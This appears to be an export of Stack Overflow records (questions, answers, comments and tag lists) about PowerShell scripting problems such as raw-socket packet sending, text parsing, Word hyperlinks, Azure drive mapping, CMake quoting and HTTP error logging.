http://stackoverflow.com/comment/139671785
comment on: http://stackoverflow.com/a/79198109
type: AnswerComment
type: Comment
has text: @PhysyCola check out the last paragraph I just added, it may help you out.
score: 0

http://stackoverflow.com/comment/139600624
type: Comment
score: 0
has text: `-Parallel` starts new threads, and `$r` isn't accessible from any of the new threads.
type: QuestionComment
comment on: http://stackoverflow.com/q/79168108

batch-file
tags question: http://stackoverflow.com/q/79095089
tags question: http://stackoverflow.com/q/79102588
tag name: batch-file
type: Tag
tags question: http://stackoverflow.com/q/79216721
tags question: http://stackoverflow.com/q/79095935
tags question: http://stackoverflow.com/q/79230965
tags question: http://stackoverflow.com/q/79227225
tags question: http://stackoverflow.com/q/79224838
tags question: http://stackoverflow.com/q/79388953
tags question: http://stackoverflow.com/q/79389610
tags question: http://stackoverflow.com/q/79286415
tags question: http://stackoverflow.com/q/79388266
tags question: http://stackoverflow.com/q/79307726
tags question: http://stackoverflow.com/q/79419763
tags question: http://stackoverflow.com/q/79451233
tags question: http://stackoverflow.com/q/79517884

http://stackoverflow.com/q/79178285
has comment: http://stackoverflow.com/comment/139620278
has comment: http://stackoverflow.com/comment/139619735
has title: Assemble and send LLC protocol packet by powershell
type: Question
answer count: 0
has body: need to send LLC discovery packet from powershell. Have zero experience in this, spend some time with searching examples. Finaly have this # Ensure this script is run as Administrator for raw socket permissions param ( [string]$destMac = "01-19-a7-52-76-96" # Destination MAC address ) # Define LLC Frame Structure $llcHeader = @(0xAA, 0xAA, 0x03) # DSAP, SSAP, Control field # Define Custom LLC Payload $llcPayload = @( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ) # Assemble the full LLC frame by appending the payload after the LLC header $llcFrame = $llcHeader + $llcPayload # Convert MAC address to byte array function Convert-MacToBytes { param ([string]$mac) return $mac -split '-' | ForEach-Object { [Convert]::ToByte($_, 16) } } $destMacBytes = Convert-MacToBytes -mac $destMac # Create raw socket and send the frame $socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Raw, [System.Net.Sockets.ProtocolType]::Raw) $socket.SetSocketOption([System.Net.Sockets.SocketOptionLevel]::Socket, [System.Net.Sockets.SocketOptionName]::Broadcast, $true) # Create byte array for the full Ethernet frame $ethernetFrame = $destMacBytes + $llcFrame # Send the packet try { $socket.Send($ethernetFrame) Write-Output "LLC packet sent successfully." } catch { Write-Output "Failed to send LLC packet: $_" } finally { $socket.Close() } but it print: Failed to send LLC packet: Exception calling "Send" with "1" argument(s): "A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied" what could be wrong here?
has comment: http://stackoverflow.com/comment/139619138
has comment: http://stackoverflow.com/comment/139620098
has comment: http://stackoverflow.com/comment/139619692
has comment: http://stackoverflow.com/comment/139619791
has comment: http://stackoverflow.com/comment/139619706
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139619864
tagged with: packet
score: 0

http://stackoverflow.com/q/79138278
linked to: http://stackoverflow.com/q/4260467
tagged with: arrays
type: Question
tagged with: search
answer count: 3
has title: Pull specific data from text files in PowerShell with search parameters
tagged with: powershell
has body: We are trying to Pull AP name, bss, and ess values out of text files provided by a network team, in PowerShell 5.1. We have numerous files to go through and multiple AP Targets in each file. Here's example of Text file. We need to extract the ap name, the ess, and bss values for each ess that matches "trustedwifi" and "guest" items only. The rest of the data is unneeded. ********************************************************************************************************* 9/5/2021 7:42:16 AM Target: AP01 (VC) ********************************************************************************************************* WIFI AP BSS Table ------------------ bss ess port ip band/ht-mode/bandwidth ch/EIRP/max-EIRP type cur-cl ap name in-t(s) tot-t flags --- --- ---- -- ---------------------- ---------------- ---- ------ ------- ------- ----- ----- ab:cd:ef:gh:if:jk trustedwifi ?/? A.b.c.d 2.4GHz/HT/20MHz 1/24.0/25.5 ap 0 AP01 0 43d:14h:48m:14s K ab:cd:ef:gh:if:jk secure ?/? A.b.c.d 2.4GHz/HT/20MHz 1/24.0/25.5 ap 0 AP01 0 43d:14h:47m:53s - ab:cd:ef:gh:if:jk guest ?/? A.b.c.d 2.4GHz/HT/20MHz 1/24.0/25.5 ap 0 AP01 0 22h:11m:43s - ab:cd:ef:gh:if:jk trustedwifi ?/? A.b.c.d 5GHz/VHT/40MHz 100+/18.0/30.0 ap 0 AP01 0 43d:14h:48m:15s K ab:cd:ef:gh:if:jk secure ?/? A.b.c.d 5GHz/VHT/40MHz 100+/18.0/30.0 ap 0 AP01 0 43d:14h:47m:54s - ab:cd:ef:gh:if:jk guest ?/? A.b.c.d 5GHz/VHT/40MHz 100+/18.0/30.0 ap 0 AP01 0 22h:11m:44s - Channel followed by "*" indicates channel selected due to unsupported configured channel. "Spectrum" followed by "^" indicates Local Spectrum Override in effect. Num APs:6 Num Associations:0 Flags: a = Airslice policy; A = Airslice app monitoring; c = MBO Cellular Data Capable BSS; d = Deferred Delete Pending; D = VLAN Discovered; E = Enhanced-open BSS without transition mode; I = Imminent VAP Down; K = 802.11K Enabled; m = Agile Multiband (MBO) BSS; M = WPA3-SAE mixed mode BSS; o = Enhanced-open transition mode open BSS; O = Enhanced-open BSS with transition mode;…
has answer: http://stackoverflow.com/a/79141485
has answer: http://stackoverflow.com/a/79138686
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79144922
score: 0
tagged with: text-search
tagged with: string

http://stackoverflow.com/comment/139610820
comment on: http://stackoverflow.com/q/79173045
score: 0
has text: If the correct number is already part of the file name, there's no need to re-number; simply insert an `.`, using a regex operation such as `-replace '^\d+', '$0.'`
type: QuestionComment
type: Comment

windows
tags question: http://stackoverflow.com/q/79216317
tags question: http://stackoverflow.com/q/79112307
tags question: http://stackoverflow.com/q/79183024
tags question: http://stackoverflow.com/q/79141674
tags question: http://stackoverflow.com/q/79209426
tags question: http://stackoverflow.com/q/79132168
tags question: http://stackoverflow.com/q/79177923
tags question: http://stackoverflow.com/q/79104529
tags question: http://stackoverflow.com/q/79147272
tags question: http://stackoverflow.com/q/79200338
tags question: http://stackoverflow.com/q/79165077
tags question: http://stackoverflow.com/q/79186465
tags question: http://stackoverflow.com/q/79166949
type: Tag
tags question: http://stackoverflow.com/q/79207415
tags question: http://stackoverflow.com/q/79161849
tags question: http://stackoverflow.com/q/79137119
tags question: http://stackoverflow.com/q/79185594
tags question: http://stackoverflow.com/q/79223966
tags question: http://stackoverflow.com/q/79096499
tags question: http://stackoverflow.com/q/79215078
tags question: http://stackoverflow.com/q/79230965
tags question: http://stackoverflow.com/q/79198075
tags question: http://stackoverflow.com/q/79069723
tags question: http://stackoverflow.com/q/79235723
tags question: http://stackoverflow.com/q/79207740
tags question: http://stackoverflow.com/q/79084760
tags question: http://stackoverflow.com/q/79108858
tag name: windows
tags question: http://stackoverflow.com/q/79128851
tags question: http://stackoverflow.com/q/79186427
tags question: http://stackoverflow.com/q/79174496
tags question: http://stackoverflow.com/q/79138856
tags question: http://stackoverflow.com/q/79110424
tags question: http://stackoverflow.com/q/79225874
tags question: http://stackoverflow.com/q/79136988
tags question: http://stackoverflow.com/q/79200936
tags question: http://stackoverflow.com/q/79165242
tags question: http://stackoverflow.com/q/79216363
tags question: http://stackoverflow.com/q/79138280
tags question: http://stackoverflow.com/q/79081337
tags question: http://stackoverflow.com/q/79095089
tags question: http://stackoverflow.com/q/79197594
tags question: http://stackoverflow.com/q/79193883
tags question: http://stackoverflow.com/q/79074595
tags question: http://stackoverflow.com/q/79119400
tags question: http://stackoverflow.com/q/79204361
tags question: http://stackoverflow.com/q/79194193
tags question: http://stackoverflow.com/q/79203992
tags question: http://stackoverflow.com/q/79090100
tags question: http://stackoverflow.com/q/79085306
tags question: http://stackoverflow.com/q/79179722
tags question: http://stackoverflow.com/q/79234274
tags question: http://stackoverflow.com/q/79248095
tags question: http://stackoverflow.com/q/79322067
tags question: http://stackoverflow.com/q/79381522
tags question: http://stackoverflow.com/q/79275630
tags question: http://stackoverflow.com/q/79277179
tags question: http://stackoverflow.com/q/79388266
tags question: http://stackoverflow.com/q/79382760
tags question: http://stackoverflow.com/q/79369963
tags question: http://stackoverflow.com/q/79292103
tags question: http://stackoverflow.com/q/79245097
tags question: http://stackoverflow.com/q/79395273
tags question: http://stackoverflow.com/q/79317800
tags question: http://stackoverflow.com/q/79249490
tags question: http://stackoverflow.com/q/79296931
tags question: http://stackoverflow.com/q/79383065
tags question: http://stackoverflow.com/q/79277790
tags question: http://stackoverflow.com/q/79368281
tags question: http://stackoverflow.com/q/79253460
tags question: http://stackoverflow.com/q/79329437
tags question: http://stackoverflow.com/q/79327313
tags question: http://stackoverflow.com/q/79306447
tags question: http://stackoverflow.com/q/79259441
tags question: http://stackoverflow.com/q/79252830
tags question: http://stackoverflow.com/q/79292221
tags question: http://stackoverflow.com/q/79279035
tags question: http://stackoverflow.com/q/79290398
tags question: http://stackoverflow.com/q/79333742

http://stackoverflow.com/q/79211810
has title: Trouble parsing and changing Hyperlinks in a Word document
score: 1
upvote count: 1
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/139679915
downvote count: 0
has answer: http://stackoverflow.com/a/79212071
type: AnsweredQuestion
tagged with: com
has body: Let me preface this with the fact that I am aware that there's a lot of resources online for this. So many in fact, that I have trouble finding a solution for my particular issue. The goal: We have a folder full of word and excel docs, that point to eachother and also other word documents. The network share they were on has been changed, and so links pointing to file://\\old_share\folder\document.doc no longer work. My intention was to go through every document, and change the Address of the links to the new share e.g. file://\\new_share\folder\document.doc. These word documents are mixed between versions, so some are docx, some are doc, etc. What I have so far: I've tried using Python, PowerShell, C#. The exact implementation is almost identical. I open a handle to word.application, then I open the document, and then I try to iterate through the Hyperlinks field and do my work. For now I would be happy to just print them to the screen so this is my minimal example of what I have so far. $word = New-Object -ComObject word.application $word.Visible = $false $word.ScreenUpdating = $false $folder = "\\new_share\folder" $docs = Get-ChildItem -Recurse -LiteralPath $folder -file -include '*.doc*' foreach($doc in $docs){ $thisDoc = $word.Documents.Open($_.FullName) $link = [pscustomobject]@{ FileName = $doc.FullName HyperLink = $thisDoc.Address } Write-Host "$($link.FileName) => $($link.HyperLink)" $thisDoc.Close() } $Word.Quit() # cleanup com objects [System.Runtime.Interopservices.Marshal]::ReleaseComObject($word) | Out-Null [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers() From this I am expecting to see the addresses, so a bunch of (\old_share\folder...), what I get instead is a bunch of Hyperlinks with $null Address fields. I'm sure that I am doing something wrong, but I'd really appreciate any ideas. using a com object to open the file and read the Hyperlinks field. I also considered just unzipping the docx files, and changing the links directly inside t…
accepted answer: http://stackoverflow.com/a/79212071
tagged with: powershell
tagged with: ms-word
favorite count: 0
tagged with: ms-office-script

http://stackoverflow.com/q/79225874
has comment: http://stackoverflow.com/comment/139705363
tagged with: windows
type: Question
has answer: http://stackoverflow.com/a/79226143
accepted answer: http://stackoverflow.com/a/79226143
has body: I have a connection string to an Azure Storage Share which looks like this: DefaultEndpointsProtocol=https; AccountName=myaccount; AccountKey=xxx_LongEncryptedString_xxx; EndpointSuffix=core.windows.net Also, I have a Sharename like "MyShare". In C#, I connect like this: ShareClient share = new ShareClient(connectionString, "MyShare"); Question: I would like to connect this share to a Drive in Windows (10 / 11 Pro) with Powershell or cmd. How can I do this? EDIT: I cannot login to the Azure portal. I have only the information as shown above.
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure
has title: How to connect an Azure Share to a Windows Drive Letter
has comment: http://stackoverflow.com/comment/139704981
has comment: http://stackoverflow.com/comment/139705318
tagged with: azure-storage
score: 0

http://stackoverflow.com/comment/139441228
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79079906
has text: Different HTML libraries will automatically add different properties to the message. For example User Agent and Content Length. I like to use Postman to get code working because it is very robust and adds missing properties automatically. Then once I get Postman working the control panel will show the entire request with added properties. Then I can modify my non working code adding the missing items.

http://stackoverflow.com/q/79138620
answer count: 0
downvote count: 0
has title: charmap and codec issues
tagged with: powershell
has body: I'm building an app with Python and TKinter. In the app i'm running Powershell commands. I'm having an issue with some results that i know that some of the characters are in Hebrew and i can't find a way to deal with the issue. it also might be some other special character which i don't know which. Any help will be apprciated. Here is the code that throwing an error: import subprocess username = input('Please enter user name: ') command = f'Get-ADPrincipalGroupMembership -Identity {username} | select name, GroupCategory, GroupScope' result = subprocess.run(['powershell.exe', command], capture_output=True, text=True) r = result.stdout Here is the error: Exception in thread Thread-1 (_readerthread): Traceback (most recent call last): File "C:\Users\xxx\AppData\Local\Programs\Python\Python310\lib\threading.py", line 1009, in _bootstrap_inner self.run() File "C:\Users\xxx\AppData\Local\Programs\Python\Python310\lib\threading.py", line 946, in run self._target(*self._args, **self._kwargs) File "C:\Users\xxx\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1494, in _readerthread buffer.append(fh.read()) File "C:\Users\xxx\AppData\Local\Programs\Python\Python310\lib\encodings\cp1255.py", line 23, in decode return codecs.charmap_decode(input,self.errors,decoding_table)[0] UnicodeDecodeError: 'charmap' codec can't decode byte 0x8c in position 1263: character maps to <undefined> I have tried google for it but all results talk about issues with opening files with special characters. I tried writing the results to a file but the same error. I have tried assigning a variable Hebrew letters and print them and everything is fine. So maybe it's some other special character which i have no idea which.
has comment: http://stackoverflow.com/comment/139555270
type: UnansweredQuestion
score: 1
favorite count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/139546923
type: Question

http://stackoverflow.com/comment/139487853
comment on: http://stackoverflow.com/q/79106388
has text: Try binding to the IP address (or machine name) instead of the loopback IP 127.0.0.1. You probably have a listener using the port.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139548741
has text: I kindly request that you format the code.
type: QuestionComment
comment on: http://stackoverflow.com/q/79140084
score: 2
type: Comment

http://stackoverflow.com/comment/139685631
type: Comment
comment on: http://stackoverflow.com/q/79214246
has text: @dteusner Every employee might have an employee number, but not all employee numbers are assigned - you can easily generate 1 million numbers, but I doubt your organization has 1 million employees
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139499382
score: 0
comment on: http://stackoverflow.com/q/79098831
type: QuestionComment
type: Comment
has text: @Theo, I know that but why `array` is ok for two members and not for one member only. Furthermore, with your syntax `@(Get-Disk)` - working, when you look at the type, it is the same as mine - not working - `[array](Get-Disk)` (`Object[]` with base type `System.Array` for `ItemsSource` and `CimInstance` for `ItemsSource[0]`.... so what is really going on ?

http://stackoverflow.com/comment/139539427
type: Comment
score: 0
type: AnswerComment
has text: I will test this later on - that sort-of clarifies some of the things I was missing - if it works (I suspect it will) then I will mark this as the answer - thank you!
comment on: http://stackoverflow.com/a/79133066

http://stackoverflow.com/q/79236266
downvote count: 0
tagged with: escaping
has title: how can i properly include a path with spaces in cmake on windows powershell and augment it with variable or command to pass to gcc?
tagged with: cmake
has body: the only thing that works is manually putting the entire path with single qoutes '. like cmake -G Ninja -DCMAKE_CXX_COMPILER=g++ -DCMAKE_C_COMPILER=gcc -DCMAKE_CXX_FLAGS='-IC:/Program" "Files" "(x86)/Windows" "Kits/10/Include/x/um' -DCMAKE_CXX_STANDARD=20 -DCMAKE_CXX_STANDARD_REQUIRED=ON -DCMAKE_BUILD_TYPE=Release -S .. where it is all encased in ' and the spaces are encased in " which is the only way it works but the problem is the x directory changes so i had $((ls 'C:/Program Files (x86)/Windows Kits/10/Include')[0].name) in place of x to get the first available version but i cant call commands or variables inside '. DCMAKE_CXX_FLAGS='-IC:/Program" "Files" "(x86)/Windows" "Kits/10/Include/x/um' is the part I'm talking about I tried \ before spaces, tried in casing ' before and after the spaces, using " to encase the entire thing somehow escapes the spaces still as well, same with \ before the spaces, only encasing the spaces with " they all break the path resulting in the same errors: g++.exe: warning: Files: linker input file unused because linking not done g++.exe: error: Files: linker input file not found: No such file or directory g++.exe: warning: (x86)/Windows: linker input file unused because linking not done g++.exe: error: (x86)/Windows: linker input file not found: No such file or directory g++.exe: warning: Kits/10/Include: linker input file unused because linking not done g++.exe: error: Kits/10/Include: linker input file not found: No such file or directory I tried other things like putting the path in a variable before but it breaks also, i tried segmenting the variables into things like $f="'" and $r='"' as part of the final variable or straight in the cmake command but still the same result. Is it really impossible to get the directory dynamically and I have to hard code it here? I tried in a similar thing in a linux bash shell with spaces and variable in the same cmake flag to include something and it had no issues so i am so confused as to why t…
tagged with: powershell
type: AnsweredQuestion
tagged with: environment-variables
tagged with: gcc
has answer: http://stackoverflow.com/a/79242509
score: 1
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/59036580
answer count: 2
possible better answer: http://stackoverflow.com/a/79242509
has answer: http://stackoverflow.com/a/79236445
accepted answer: http://stackoverflow.com/a/79236445
type: Question

http://stackoverflow.com/q/79102062
has comment: http://stackoverflow.com/comment/139483992
tagged with: powershell
answer count: 1
tagged with: azure
tagged with: microsoft-graph-api
has answer: http://stackoverflow.com/a/79107020
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139479781
score: 0
tagged with: microsoft-entra-id
has comment: http://stackoverflow.com/comment/139534635
has body: How can I set the group policy that's available within My Groups using MS Graph? I want to set the policy to "This group requires owner approval" for a group created using MS Graph. Currently, I can't find a way to achieve this objective looking into the documentation.
type: Question
has title: How can I set the group policy that's available within 'My Groups" using MS Graph?
tagged with: graph

http://stackoverflow.com/q/79106388
has comment: http://stackoverflow.com/comment/139487853
has body: [![enter image description here][1]][1]I'm trying to run Droidbot on WSL (Windows Subsystem for Linux) and connect to the ADB (Android Debug Bridge) server that I'm starting in PowerShell. While I can run and connect to ADB normally in PowerShell without any issues, I encounter the following error when I attempt to connect from WSL: adb: error: cannot bind listener: cannot bind to 127.0.0.1:60997: Only one usage of each socket address (protocol/network address/port) is normally permitted. (10048) Here’s the traceback I received: Traceback (most recent call last): File "/home/mudoker/Projects/Automated-Test-Oracle/droidbot/droidbot/droidbot.py", line 177, in start self.device.connect() File "/home/mudoker/Projects/Automated-Test-Oracle/droidbot/droidbot/device.py", line 179, in connect adapter.connect() File "/home/mudoker/Projects/Automated-Test-Oracle/droidbot/droidbot/adapter/droidbot_app.py", line 107, in connect subprocess.check_call(forward_cmd.split()) File "/usr/lib/python3.10/subprocess.py", line 369, in check_call raise CalledProcessError(retcode, cmd) subprocess.CalledProcessError: Command '['adb', '-s', 'emulator-5554', 'forward', 'tcp:60997', 'tcp:7336']' returned non-zero exit status 1. [CONNECTION] ADB is disconnected WARNING:DroidBotIme:Failed to disconnect DroidBotIME! Please wait while uninstalling the app... Context: I start the ADB server in PowerShell and then try to run Droidbot in WSL. I confirmed that no other process is using the port 60997. I have restarted the ADB server multiple times. What I’ve Tried: Running adb kill-server and then adb start-server in both environments. Checking for processes using port 60997 with sudo lsof -i :60997. Attempting to use different ports in the ADB commands. Question: How can I resolve the port binding issue when trying to run Droidbot on WSL and connect to the ADB server running in PowerShell? Are there any specific configurations or commands I should use to facilitate this connection? Any help would be g…
tagged with: android
has comment: http://stackoverflow.com/comment/139508099
has comment: http://stackoverflow.com/comment/139672754
type: Question
has comment: http://stackoverflow.com/comment/139507322
has title: ADB Connection Issue with Droidbot on WSL: "Cannot bind to 127.0.0.1:60997: Only one usage of each socket address is normally permitted."
answer count: 0
tagged with: powershell
score: 0
tagged with: adb
type: UnansweredQuestion
tagged with: windows-subsystem-for-linux
tagged with: python

http://stackoverflow.com/q/79173130
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
answer count: 2
tagged with: regex
type: Question
has body: I want to split the sentences with "for", unless "all for" occurs in the sentence. It almost works, but for some reason one letter "s" is missing. What's wrong? $arr = 'It is all for you','It is for you' $arr | % {$_ -split '[^all] for'}
has answer: http://stackoverflow.com/a/79173234
downvote count: 0
has answer: http://stackoverflow.com/a/79173166
tagged with: powershell
has title: Split string by a word, unless

http://stackoverflow.com/a/79088793
type: Answer
score: 1
answers question: http://stackoverflow.com/q/79087081
upvote count: 1
has comment: http://stackoverflow.com/comment/139456412
downvote count: 0
has body: I cannot reproduce your issue using the following OS Process Sampler configuration: and the following Powershell script: Write-Host "Result is: "$args[0] So I guess nothing is wrong with "encoding" of JMeter Variables, you should take a closer look into your powershell script and the way you're handling the variables there. So far I can only give you one piece of advice: using Beanshell is some form of a performance anti-pattern, consider switching to JSR223 Test Elements and Groovy language. See Apache Groovy: What Is Groovy Used For? article for more details.

http://stackoverflow.com/comment/139493104
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79108858
has text: you can't overwrite system files, they're protected so any changes will be detected and reverted by `dism` or `sfc /scannow`

http://stackoverflow.com/q/79110879
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79111010
has body: I'm trying to export a list of mailbox sizes of users in Exchange Online to a CSV file on the desktop of the user running the command. The command to retrieve the information I want from Exchange Online works. So, I don't need help with that part. The only part I need assistance with is getting the results to export to a .csv on my desktop. PowerShell is running as an administrator. Here is what I have: # Get the current user's desktop path $desktopPath = "$env:USERPROFILE\Desktop" # Run the command and export the results to a CSV file Get-EXOMailbox -RecipientTypeDetails UserMailbox -ResultSize Unlimited | Get-EXOMailboxStatistics | Select-Object DisplayName, TotalItemSize, MailboxGuid | Sort-Object TotalItemSize -Descending | Export-Csv -Path "$desktopPath\MailboxStatistics.csv" -NoTypeInformation Here is the error I'm getting: Export-Csv : Could not find a part of the path 'C:\Users\[username]\Desktop\MailboxStatistics.csv'. At line:5 char:5 + Export-Csv -Path "$desktopPath\MailboxStatistics.csv" -NoTypeInfo ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OpenError: (:) [Export-Csv], DirectoryNotFoundException + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.ExportCsvCommand
score: 1
upvote count: 1
has title: Export Exchange Online query to CSV
favorite count: 0
type: Question
downvote count: 0
answer count: 1
tagged with: exchange-online
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79111010
tagged with: export-csv

http://stackoverflow.com/comment/139618517
comment on: http://stackoverflow.com/q/79177876
score: 1
type: QuestionComment
type: Comment
has text: Why choose PowerShell as a deployment target if the audience is... not familiar with PowerShell? Might as well just write a simple CLI/REPL in C# and call it a day then :)

http://stackoverflow.com/a/79091121
downvote count: 0
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139468032
has body: The simplest modification of your code is to change one of your -replace methods so that it replaces the text with the single quote instead of replacing it with nothing. You will also need to consume the preceding spaces in the text you replace. -replace 'CONSTANT[^ ]' changed to: -replace '\s*CONSTANT[^ ]', "'" A better solution is to perform everything in a single action. You can use the -replace that mklement0 suggested, which works great, or I'll offer an alternative based on capturing groups in the Where statement, automatic and string formatting. Get-Content FILE | where {$_ -notmatch '^--' -and $_ -match "^(.+?\S)\s*CONSTANT.*?:=.*?('.+?')"} | ForEach-Object { "WHEN '{0}' THEN {1}" -f $Matches[1], $Matches[2] } It should effectively do the same thing as mklement0's -replace, just using string formatting and automatic variables instead.
has comment: http://stackoverflow.com/comment/139460058
answers question: http://stackoverflow.com/q/79091039

http://stackoverflow.com/q/79162018
score: 1
upvote count: 1
tagged with: get-request
favorite count: 0
has body: I am getting 403 error randomly for an http request. To test this I am making a powershell script that hits http request and log the error response, headers and error code of all 4XX series errors. I am able to log both the error code, error response but not the headers. Below is the script, # Define the log file path $logFilePath = "https_test_connection_log.txt" # Function to log messages with a timestamp function Log-Message { param ( [string]$Message ) $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" Add-Content -Path $logFilePath -Value "$timestamp - $Message" } # Send a GET request to the API try { # Make the HTTP GET request $response = Invoke-WebRequest -Uri $apiUrl -Method Get -ErrorAction Stop # Log successful response details Log-Message "Request to $apiUrl successful." # Log response headers if they are available if ($response.Headers -ne $null) { Log-Message "Response Headers:" foreach ($header in $response.Headers.GetEnumerator()) { Log-Message "$($header.Key): $($header.Value)" } } else { Log-Message "No headers found in the response." } # Log the response body (converted to JSON if possible) $responseBody = $response.Content | ConvertTo-Json -Compress Log-Message "Response Body: $responseBody" } catch { # Log the error message $errorMessage = "Error: $($_.Exception.Message)" Log-Message $errorMessage # Log the response body (converted to JSON if possible) Log-Message "Error Response: $_.ErrorRecord.Exception" # Check if an error response is available $ErrorResponse = $_.ErrorRecord.Exception.Response # Log the error response body if available $ErrorContent = (New-Object System.IO.StreamReader($ErrorResponse.GetResponseStream())).ReadToEnd() Log-Message "Error Response Body: $ErrorContent" Log-Message "Error Response Headers:" foreach ($header in $ErrorResponse.Headers.GetEnumerator()) { Log-Message "$($header.Key): $($header.Value)" } } I tried using both invoke-webrequest and invoke-restmethod, I am getting empty headers. Any suggestions are appr…
type: Question
answer count: 0
has title: Powershell script to capture the error response and headers of http request
downvote count: 0
tagged with: httpresponse
tagged with: powershell
tagged with: error-response
tagged with: http-headers
has comment: http://stackoverflow.com/comment/139589628
type: UnansweredQuestion

http://stackoverflow.com/a/79201583
has body: Passing a script block ({ ... }) as a (positionally implied) -ArgumentList argument to Start-Process (one of whose built-in aliases is start) technically works, but is limiting and obscures what's actually happening, so it is best avoided: Because the -ArgumentList parameter is [string[]]-typed, the script block is stringified, meaning that its verbatim content (sans { and }) is passed. Notably, this implies that you cannot reference the caller's variables in your argument, and it may lead you to think that there are no escaping requirements (see next point). Aside from that, your problem is that you neglected to escape " characters as \", which is required in order to preserve them in code passed to the (implied) -Command (c) parameter of powershell.exe, the Windows PowerShell CLI. See this answer for background information. Also note that pwsh.exe, the PowerShell (Core) 7 CLI, defaults to the -File parameter, necessitating explicit use of -Command (-c) in order to pass PowerShell code. Therefore, it is better to use a here-string, with the required escaping: # Note: Short for: # Start-Process -FilePath powershell -ArgumentList @'... start powershell @' $host.ui.RawUI.WindowTitle = \"application 1\" cd application1\backend npm install npm run build npm run start Read-Host '@ Note: Because ' characters have no syntactic function on the PowerShell process command line, they do not require escaping, so you can alternatively use embedded '...' quoting as shown in Keith Langmead's answer - however, '...' only works if the embedded string literal is meant to be a verbatim string rather than an expandable (interpolating) one (which requires "..."). Because no up-front string interpolation is required in your case (since you're not referencing the caller's variables), the above uses the verbatim here-string variant (@'<newline>...<newline>'@); use the expandable form (@"<newline>...<newline>"@) if caller-variable values must be referenced.
score: 3
upvote count: 3
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79198594
accepted answer of: http://stackoverflow.com/q/79198594
type: Answer
downvote count: 0

http://stackoverflow.com/q/79088290
tagged with: jobs
type: Question
has comment: http://stackoverflow.com/comment/139456536
downvote count: 0
has answer: http://stackoverflow.com/a/79095339
has title: Understanding virtual memory via background jobs
possible better answer: http://stackoverflow.com/a/79088307
has comment: http://stackoverflow.com/comment/139458388
tagged with: powershell
has body: Understanding virtual memory in Operating Systems: Concepts and Implementation Unexpected behavior when running multiple instances of a memory allocation program. I'm learning about operating systems and following the OSTEP (Operating Systems: Three Easy Pieces) textbook. I'm trying to understand memory virtualization by running multiple instances of a program simultaneously. Here's the code I'm working with: #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include "common.h" int main(int argc, char *argv[]) { int *p = malloc(sizeof(int)); // a1 assert(p != NULL); printf("(%d) address pointed to by p: %p\n", getpid(), p); // a2 *p = 0; // a3 while (1) { Spin(1); *p = *p + 1; printf("(%d) p: %d\n", getpid(), *p); // a4 } return 0; } According to the textbook, when run with the command ./mem &; ./mem &, this program should demonstrate memory virtualization by running two instances simultaneously. The text states: We see from the example that each running program has allocated memory at the same address (0x200000), and yet each seems to be updating the value at 0x200000 independently! It is as if each running program has its own private memory, instead of sharing the same physical memory with other running programs. Indeed, that is exactly what is happening here as the OS is virtualizing memory. However, when I run this program locally, I get the following output: PS C:\Users\malan\Desktop\os\Virtualizing_the_Cpu> ./mem &; ./mem Id Name PSJobTypeName State -- ---- ------------- ----- 13 Job13 BackgroundJob Running (8776) address pointed to by p: 007B1990 (8776) p:1 (8776) p:2 (8776) p:3 (8776) p:4 (8776) p:5 (8776) p:6 (8776) p:7 (8776) p:8 (8776) p:9 (8776) p:10 (8776) p:11 (8776) p:12 (8776) p:13 The two instances aren't running simultaneously as expected. What could be causing this behavior? Am I missing something in my setup or understanding of how this should work? Additional information: Operating System: Microsoft Windows 11 Home Single Language Opera…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139467211
has answer: http://stackoverflow.com/a/79088307
has answer: http://stackoverflow.com/a/79089686
upvote count: 3
answer count: 4
tagged with: operating-system
tagged with: http://stackoverflow.com/tag/c
score: 3
favorite count: 0
accepted answer: http://stackoverflow.com/a/79088304
has answer: http://stackoverflow.com/a/79088304

http://stackoverflow.com/a/79127234
downvote count: 0
score: 6
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/139528553
answers question: http://stackoverflow.com/q/79126996
accepted answer of: http://stackoverflow.com/q/79126996
